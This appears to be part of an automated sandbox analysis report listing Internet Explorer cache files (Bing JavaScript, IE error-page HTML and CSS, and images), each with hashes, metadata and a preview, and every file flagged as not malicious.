MD5:	F5712E664873FDE8EE9044F693CD2DB7
SHA1:	2A30817F3B99E3BE735F4F85BB66DD5EDF6A89F4
SHA-256:	1562669AD323019CDA49A6CF3BDDECE1672282E7275F9D963031B30EA845FFB2
SHA-512:	CA0EB961E52D37CAA75F0F22012C045876A8B1A69DB583FE3232EA6A7787A85BEABC282F104C9FD236DA9A500BA15FDF7BD83C1639BFD73EF8EB6A910B75290D
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Xp-HPHGHOZznHBwdn7OWdva404Y.gz.js
Preview:	var SsoFrame;(function(n){function t(n){if(n&&n.url&&n.sandbox){var t=sj_ce("iframe"),i=t.style;i.visibility="hidden";i.position="absolute";i.height="0";i.width="0";i.border="none";t.src=decodeURIComponent(n.url);t.id="aadssofr";t.setAttribute("sandbox",n.sandbox);_d.body.appendChild(t);n.currentEpoch&&sj_cook.set("SRCHUSR","T",n.currentEpoch,!0,"/");Log&&Log.Log&&Log.Log("ClientInst","NoSignInAttempt","OrgId",!1)}}function i(n){try{n&&n.length===2&&t(n[1])}catch(i){}}n.createFrame=t;n.ssoFrameEntry=i;sj_evt.bind("ssoFrameExists",i,!0,null,!1)})(SsoFrame\|\|(SsoFrame={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\n8-O_KIRNSMPFWQWrGjn0BRH6SM.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1567
Entropy (8bit):	5.248121948925214
Encrypted:	false
SSDEEP:	48:KyskFELvJnSYVtXpQyL93NzpGaQJWA6vrIhf7:KybivJnSE5aU93HGaQJWAiIh
MD5:	F9D8B007B765D2D1D4A09779E792FE62
SHA1:	C2CBDA98252249E9E1114D1D48679B493CBFA52D
SHA-256:	9400DF53D61861DF8BCD0F53134DF500D58C02B61E65691F39F82659E780F403
SHA-512:	07032D7D9A55D3EA91F0C34C9CD504700095ED8A47E27269D2DDF5360E4CAC9D0FAD1E6BBFC40B79A3BF89AA00C39683388F690BB5196B40E5D662627A2C495A
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/n8-O_KIRNSMPFWQWrGjn0BRH6SM.gz.js
Preview:	var wln=wln\|\|"",Identity;(function(n){function i(n){n.style.display="none";n.setAttribute("aria-hidden","true")}function r(n){n.style.display="inline-block";n.setAttribute("aria-hidden","false")}var u,t;n&&n.sglid&&sj_be&&sj_cook&&sj_evt&&_d&&typeof _d.querySelectorAll!="undefined"&&(u=function(n){var i=n.getAttribute("data-a"),t=n.getAttribute("data-p");i==="false"&&t!=null&&sj_be(n,"click",function(){sj_cook.set("SRCHUSR","POEX",t,!0,"/")})},sj_evt.bind("identityHeaderShown",function(){var n=!1;sj_be(_ge("id_l"),"click",function(){var i,t;if(!n){for(i=_d.querySelectorAll(".b_imi"),t=0;t<i.length;t++)u(i[t]);n=!0}})},!0));sj_evt&&n&&(t=function(t){var h;if(t==null\|\|t.idp!=="orgid"\|\|(h=n.wlProfile(),h==null\|\|h.name==null\|\|t.name!=null)){var e=_ge("id_n"),u=_ge("id_p"),o=_ge("id_s"),s=_ge("id_a"),f=t?t.displayName:wln,c=t?t.img:null,l=t?t.idp:null,a=t?t.cid:null;e&&s&&(a\|\|f)?(u&&c&&(u.title=f,u.src=c,r(u)),f.length>10&&(f=f.substring(0,10).replace(/\s+$/,"")+"."),e.textContent=f,e.inn

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\ozS3T0fsBUPZy4zlY0UX_e0TUwY.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	226
Entropy (8bit):	4.923112772413901
Encrypted:	false
SSDEEP:	6:2LGfGIEW65JcYCgfkF2/WHRMB58IIR/QxbM76Bhl:2RWIyYCwk4/EMB5ZccbM+B/
MD5:	A5363C37B617D36DFD6D25BFB89CA56B
SHA1:	31682AFCE628850B8CB31FAA8E9C4C5EC9EBB957
SHA-256:	8B4D85985E62C264C03C88B31E68DBABDCC9BD42F40032A43800902261FF373F
SHA-512:	E70F996B09E9FA94BA32F83B7AA348DC3A912146F21F9F7A7B5DEEA0F68CF81723AB4FEDF1BA12B46AA4591758339F752A4EBA11539BEB16E0E34AD7EC946763
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/ozS3T0fsBUPZy4zlY0UX_e0TUwY.gz.js
Preview:	(function(n,t,i){if(t){var r=!1,f=function(){r\|\|(r=!0,typeof wlc!="undefined"&&wlc(sj_evt,sj_cook.set,wlc_t))},u=function(){setTimeout(f,t)};n.bind("onP1",function(){i?n.bind("aad:signedout",u):u()},1)}})(sj_evt,wlc_d,wlc_wfa)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\pXscrbCrewUD-UetJTvW5F7YMxo.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	511
Entropy (8bit):	4.980041296618112
Encrypted:	false
SSDEEP:	12:yWF4eguIWKvU9bEMsR5OErixCvJO1Vi5rgsM:LF4mKctEMYOK4CvJUVYM
MD5:	D6741608BA48E400A406ACA7F3464765
SHA1:	8961CA85AD82BB701436FFC64642833CFBAFF303
SHA-256:	B1DB1D8C0E5316D2C8A14E778B7220AC75ADAE5333A6D58BA7FD07F4E6EAA83C
SHA-512:	E85360DBBB0881792B86DCAF56789434152ED69E00A99202B880F19D551B8C78EEFF38A5836024F5D61DBC36818A39A921957F13FBF592BAAFD06ACB1AED244B
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/pXscrbCrewUD-UetJTvW5F7YMxo.gz.js
Preview:	var BingAtWork;(function(n){var t;(function(n){function t(t,i){var u,r;t.isAuthenticated&&(n.raiseAuthEventAndLog(t),u=_ge("sb_form_q"),u&&(r=u.getAttribute("value"),r&&(n.fetchLowerHeader(r),n.fetchScopeBar(r),i.notifEnabled&&i.notifFetchAsync&&n.fetchNotificationConditional())))}function i(n,i){n&&n.length==2&&t(n[1],i)}n.bindToConditionalSignIn=function(n){sj_evt.bind("ssofirstquery",function(t){return i(t,n)},!0,null,!1)}})(t=n.ConditionalSignIn\|\|(n.ConditionalSignIn={}))})(BingAtWork\|\|(BingAtWork={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\NewErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	4.869554560514657
Encrypted:	false
SSDEEP:	24:5Y0bQ573pHpACtUZtJD0lFBopZleqw87xTe4D8FaFJ/Doz9AtjJgbCzg:5m73jcJqQep89TEw7Uxkk
MD5:	DFEABDE84792228093A5A270352395B6
SHA1:	E41258C9576721025926326F76063C2305586F76
SHA-256:	77B138AB5D0A90FF04648C26ADDD5E414CC178165E3B54A4CB3739DA0F58E075
SHA-512:	E256F603E67335151BB709294749794E2E3085F4063C623461A0B3DECBCCA8E620807B707EC9BCBE36DCD7D639C55753DA0495BE85B4AE5FB6BFC52AB4B284FD
Malicious:	false
Preview:	.body..{.. background-repeat: repeat-x;.. background-color: white;.. font-family: "Segoe UI", "verdana", "arial";.. margin: 0em;.. color: #1f1f1f;..}.....mainContent..{.. margin-top:80px;.. width: 700px;.. margin-left: 120px;.. margin-right: 120px;..}.....title..{.. color: #54b0f7;.. font-size: 36px;.. font-weight: 300;.. line-height: 40px;.. margin-bottom: 24px;.. font-family: "Segoe UI", "verdana";.. position: relative;..}.....errorExplanation..{.. color: #000000;.. font-size: 12pt;.. font-family: "Segoe UI", "verdana", "arial";.. text-decoration: none;..}.....taskSection..{.. margin-top: 20px;.. margin-bottom: 28px;.. position: relative; ..}.....tasks..{.. color: #000000;.. font-family: "Segoe UI", "verdana";.. font-weight:200;.. font-size: 12pt;..}....li..{.. margin-top: 8px;..}.....diagnoseButton..{.. outline: none;.. font-size: 9pt;..}.....launchInternetOptionsButton..{.. outline: none;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P3LN8DHh0udC9Pbh8UHnw5FJ8R8.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1516
Entropy (8bit):	5.30762660027466
Encrypted:	false
SSDEEP:	24:+FE64YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzvOMuHMH34tDO8XgGQE3BUf4JPwk:+FdF6UYXEBi9kIHIB1UY
MD5:	EF3DA257078C6DD8C4825032B4375869
SHA1:	35FE0961C2CAF7666A38F2D1DE2B4B5EC75310A1
SHA-256:	D94AC1E4ADA7A269E194A8F8F275C18A5331FE39C2857DCED3830872FFAE7B15
SHA-512:	DBA7D04CDF199E68F04C2FECFDADE32C2E9EC20B4596097285188D96C0E87F40E3875F65F6B1FF5B567DCB7A27C3E9E8288A97EC881E00608E8C6798B24EF3AF
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/P3LN8DHh0udC9Pbh8UHnw5FJ8R8.gz.js
Preview:	var Identity=Identity\|\|{},ham_id_js_downloaded=!1;(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var o=u("id_h"),s=u("id

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\R[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	gzip compressed data, max speed, from TOPS/20
Category:	dropped
Size (bytes):	373
Entropy (8bit):	7.345815432010222
Encrypted:	false
SSDEEP:	6:XtWRDcqfhdBWQVWf/UOOLlsvRWDhvaSVcM2wMAAlmthHprYkCg+FGZXkrrI1Rx:X8Qqfl/SX4lI8vavMnrYk3BF0cPx
MD5:	8D03D1B04BF7CFDFBD966CE7C7BB8AFA
SHA1:	49EB075B74AA5299891FB5B0FB7728353516F379
SHA-256:	D293C26C80F55B17966EB5799986EEFEC32A3189C3209E0C0233AE33A055309B
SHA-512:	48F747E1FE327BBACA754A8DBEA1DF3B742105FA451C4E9A7121E02D609086BD3C40AAB91B182BFB09EE84E8A01633732062DD9D77EFCE4DF6DC957FCD7C0EE0
Malicious:	false
Preview:	..........T.KS.0...........4@.P..F..(..K'..)}..@._.('.;{.%R.C...Ct.3.{...\.DD...\.PE..qC$..5.j.....o........V..qk..{.-.+.g.\76......=.'.^..s..=L.DM{.P.......E....n.0....S5...6..O....f.Q......D..$..1.&.t..=..<[......'G.........e...(@.X...NA...}J.....W..e...'.,~.M.p8%..K..,......O.G.>.o..\|.D..}.3.v...5..3..u;]..P..y.#E%.p.E@....................K....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\dnserror[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
Encrypted:	false
SSDEEP:	48:u7u5V4VyhhV2lFUW29vj0RkpNc7KpAP8Rra:vIlJ6G7Ao8Ra
MD5:	2DC61EB461DA1436F5D22BCE51425660
SHA1:	E1B79BCAB0F073868079D807FAEC669596DC46C1
SHA-256:	ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993
SHA-512:	A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDB8CBD8F35C7E5B9F4136C29DEA32736AABB451FE8088B978B493AC6D
Malicious:	false
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMoreInfo('infoBlockID');">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\hsq54HXv3E6bOWi_58PaE6vwTYM.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	exported SGML document, ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	4424
Entropy (8bit):	5.151067247813042
Encrypted:	false
SSDEEP:	96:B3D+ca6IQkQQX6hJmK/Kl9L3vVPTkyfXeJLYLZq76NH:V+ca6IBQQX6aKClFfVPTkyWJLW/
MD5:	FA0E965181E637575B37390656518D0D
SHA1:	06F24D11B54319BE23CDB7C8EEB9D79AAD9CFD06
SHA-256:	4CCC277A590605079234A0C82BFB6C0909B72453D8A45DCACF64463BC429492C
SHA-512:	CA8557ACBC8F7EDEF64FFB0C8A1A7AACE917848FDFA5D3A0ED2867999C6D994DC5E12CEE70E4771C7B0C9C1638071495BD771945FB204B9CFCC589386FFF3A40
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/hsq54HXv3E6bOWi_58PaE6vwTYM.gz.js
Preview:	define("rmsajax",["require","exports"],function(n,t){function c(){for(var i,n=[],t=0;t<arguments.length;t++)n[t]=arguments[t];if(n.length!=0){if(i=n[n.length-1],n.length==1)ot(i)&&f.push(i);else if(n.length==3){var o=n[0],s=n[1],u=n[2];st(o)&&st(s)&&ot(u)&&(ht(r,o,u),ht(e,s,u))}return window.rms}}function nt(){var i=arguments,n,t;for(o.push(i),n=0;n<i.length;n++)t=i[n],ct(t,r),t.d&&tt.call(null,t);return window.rms}function kt(){var t=arguments,n;for(s.push(t),n=0;n<t.length;n++)ct(t[n],e);return window.rms}function l(){var t,i,n;for(ri(),t=!1,n=0;n<o.length;n++)t=tt.apply(null,p.call(o[n],0))\|\|t;for(i=0;i<s.length;i++)t=ti.apply(null,p.call(s[i],0))\|\|t;if(!t)for(n=0;n<f.length;n++)f[n]()}function tt(){var n=arguments,t,i,f,e;if(n.length===0)return!1;if(t=r[ut(n[0])],n.length>1)for(i=ui.apply(null,n),f=0;f<i.length;f++)e=i[f],e.run=u,dt(e,function(n){return function(){gt(n,i)}}(e));else t.run=u,ft(t,function(){it(t)});return!0}function dt(n,t){var f,u,r;if(!n.state){if(n.state=pt,at(n)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\httpErrorPagesScripts[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\th[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 1920x1080, frames 3
Category:	dropped
Size (bytes):	327237
Entropy (8bit):	7.97223374454568
Encrypted:	false
SSDEEP:	6144:mBlAVPTvYwTnCCvR2MDIiC0nk6XGvGGHHdsP/5WYAlxI0d1knETax:YAhYwrpY6a8k3OGHHKX5XAlj/Qlx
MD5:	41468B79A1B053BEA7E5139D24020DAC
SHA1:	6E3373EAFE5157DFC4CCEB3B5EDD4A2A8A5D8224
SHA-256:	1736635AF5C198ACC6292C4687385177192D47CD4623495B95A9A81A2DC616D6
SHA-512:	1554B09A56C49BD6D972BDED23D1702E80655898AAE05C77B01D56F0C38A0F783548E78E1AE7CCF96C04201092101DEBC7D2872F59BA921FDE4E74406320993F
Malicious:	false
Preview:	......JFIF.............C......................................#$&$#.//22//@@@@@@@@@@@@@@@...C......................%.....%/"...."/-&&&-44//44@@>@@@@@@@@@@@@......8....".......................................N.........................!1."AQa..2q.#BR...br...$3.C...S....%4cs.D..5...&6.T...............................7.....................!..1AQ."aq..2.B..R...#b..r..3...............?.hz.d...V.H...(.....@.....(..'..@.5...TP.M.54b.3EE....4QV....A...rjrk.....Q..P.M.5.U.9.\|.h..:2h..9.'5.P...FMEM.d.(.&.......T.P.MFM.P.M.4Q@.4d.E.d...Q@NM..E.d..EE.d...Q@.4d.Q@NO..4TP..FME....EE.94d..Q@NO..5.P..FM.P..Q.EE.9>u.4T...4d.QR....4P..qQ.E..2h.(.&.&...NM.5.5.2jrj(.$..QE.94d.QB.&..*A95.4Q@.4d.Q@O4d.Q@NM.5.P..Q..E....FM.P..FO.E....E...Q.SQ..3S.QE.9>td..T...&.(.&..:..@.>u95.P...G5.4..FM...2h...y..(.#&.jj(....(..:...y..(..G54P...h..9.'.(..&...2\|.rh.E.sFM..$.>td.Q@.>u95.P.MNME....s.E.....E.d.F(...:2\|.2h....&.(.&.\|...:2j(.'&..(..d..EN(.9...1@G>tsSEE.9..Tb..<..S..T....N(...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\MstqcgNaYngCBavkktAoSE0--po.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	391
Entropy (8bit):	5.184440623275194
Encrypted:	false
SSDEEP:	12:2Qxjl/mLAHPWEaaGRHkj6iLUEkFKgs5qHT:2QC8H+aGRHk+i1kFKgs5qHT
MD5:	55EC2297C0CF262C5FA9332F97C1B77A
SHA1:	92640E3D0A7CBE5D47BC8F0F7CC9362E82489D23
SHA-256:	342C3DD52A8A456F53093671D8D91F7AF5B3299D72D60EDB28E4F506368C6467
SHA-512:	D070B9C415298A0F25234D1D7EAFB8BAE0D709590D3C806FCEAEC6631FDA37DFFCA40F785C86C4655AA075522E804B79A7843C647F1E98D97CCE599336DD9D59
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/MstqcgNaYngCBavkktAoSE0--po.gz.js
Preview:	(function(){function n(){var n=_ge("id_p"),t,i;n&&(t="",i="",n.dataset?(t=n.dataset.src,i=n.dataset.alt):(t=n.getAttribute("data-src"),i=n.getAttribute("data-alt")),t&&t!=""&&(n.onerror=function(){n.onerror=null;n.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=";n.alt=""},n.onload=function(){n.alt=i},n.src=t))}n()})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\NewErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	4.869554560514657
Encrypted:	false
SSDEEP:	24:5Y0bQ573pHpACtUZtJD0lFBopZleqw87xTe4D8FaFJ/Doz9AtjJgbCzg:5m73jcJqQep89TEw7Uxkk
MD5:	DFEABDE84792228093A5A270352395B6
SHA1:	E41258C9576721025926326F76063C2305586F76
SHA-256:	77B138AB5D0A90FF04648C26ADDD5E414CC178165E3B54A4CB3739DA0F58E075
SHA-512:	E256F603E67335151BB709294749794E2E3085F4063C623461A0B3DECBCCA8E620807B707EC9BCBE36DCD7D639C55753DA0495BE85B4AE5FB6BFC52AB4B284FD
Malicious:	false
Preview:	.body..{.. background-repeat: repeat-x;.. background-color: white;.. font-family: "Segoe UI", "verdana", "arial";.. margin: 0em;.. color: #1f1f1f;..}.....mainContent..{.. margin-top:80px;.. width: 700px;.. margin-left: 120px;.. margin-right: 120px;..}.....title..{.. color: #54b0f7;.. font-size: 36px;.. font-weight: 300;.. line-height: 40px;.. margin-bottom: 24px;.. font-family: "Segoe UI", "verdana";.. position: relative;..}.....errorExplanation..{.. color: #000000;.. font-size: 12pt;.. font-family: "Segoe UI", "verdana", "arial";.. text-decoration: none;..}.....taskSection..{.. margin-top: 20px;.. margin-bottom: 28px;.. position: relative; ..}.....tasks..{.. color: #000000;.. font-family: "Segoe UI", "verdana";.. font-weight:200;.. font-size: 12pt;..}....li..{.. margin-top: 8px;..}.....diagnoseButton..{.. outline: none;.. font-size: 9pt;..}.....launchInternetOptionsButton..{.. outline: none;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\dnserror[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
Encrypted:	false
SSDEEP:	48:u7u5V4VyhhV2lFUW29vj0RkpNc7KpAP8Rra:vIlJ6G7Ao8Ra
MD5:	2DC61EB461DA1436F5D22BCE51425660
SHA1:	E1B79BCAB0F073868079D807FAEC669596DC46C1
SHA-256:	ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993
SHA-512:	A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDB8CBD8F35C7E5B9F4136C29DEA32736AABB451FE8088B978B493AC6D
Malicious:	false
IE Cache URL:	res://ieframe.dll/dnserror.htm?ErrorStatus=0x800C0005&DNSError=9002
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMoreInfo('infoBlockID');">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\eF3rIdIG4fsLyPy7mzgRnjCDKIA[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 1642 x 116, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	12172
Entropy (8bit):	7.918443542633748
Encrypted:	false
SSDEEP:	192:55tSglBjXtk3RBPvjc6/sB7WYFH+CEWAY7ajZiS8aQoFiJ8VJUsLYpP7:YHHjNsB7WYtFEV1iS8XoFRJbLmP7
MD5:	4CF2646B3478E81FB9444ED499C19310
SHA1:	785DEB21D206E1FB0BC8FCBB9B38119E30832880
SHA-256:	3E3D1F762BE8E3AF89D77E1F291E6228D55FBA619AD6C0763224B4A640D0D9BD
SHA-512:	6CC812012B23313ED2A83706D81B9737C3C6D8EA656FFE8D612006C4C6C03ACCA8428D4C2F89615581F1ACD866925F6DA94F2C66275101558DC8D202E9764796
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/eF3rIdIG4fsLyPy7mzgRnjCDKIA.png
Preview:	.PNG........IHDR...j...t.............PLTE...ttt"""............"""///...,,,000....}....................................................................x.%..$..#..$.""",,,....Q".L"~..~......................................:*............................#...................."..........---...........O.#.+++......---...................$............................y..`..G.................)..........................................wwwttt...[[[......413......................................................................vwzlllqqq.........rxxvxy...vwy...........vwy......!W..........Y..4f.......uwzwxz......xxxwxzwwzvvzvwy...vxz.3..0..........l..m..4......."...3.....2..3..l..4.....3..3...........d!.a...?..>..=wxyvwyvwyvv{wxxwxzvxz]ffwwyvwzwwwwxzvxzvxywwzwxzvwzwwzwxzwwzvxywwy..>.......................!....tRNS..C.....`....C...1..